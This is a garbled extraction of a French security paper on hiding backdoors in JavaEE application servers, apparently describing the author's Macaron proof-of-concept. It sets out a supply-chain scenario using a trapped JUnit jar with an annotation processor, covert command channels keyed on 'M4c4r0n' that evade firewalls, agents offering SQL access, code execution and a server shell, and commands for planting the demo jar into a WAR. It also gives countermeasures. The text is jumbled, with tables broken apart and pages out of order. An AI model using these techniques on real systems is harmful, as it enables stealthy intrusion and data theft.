La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

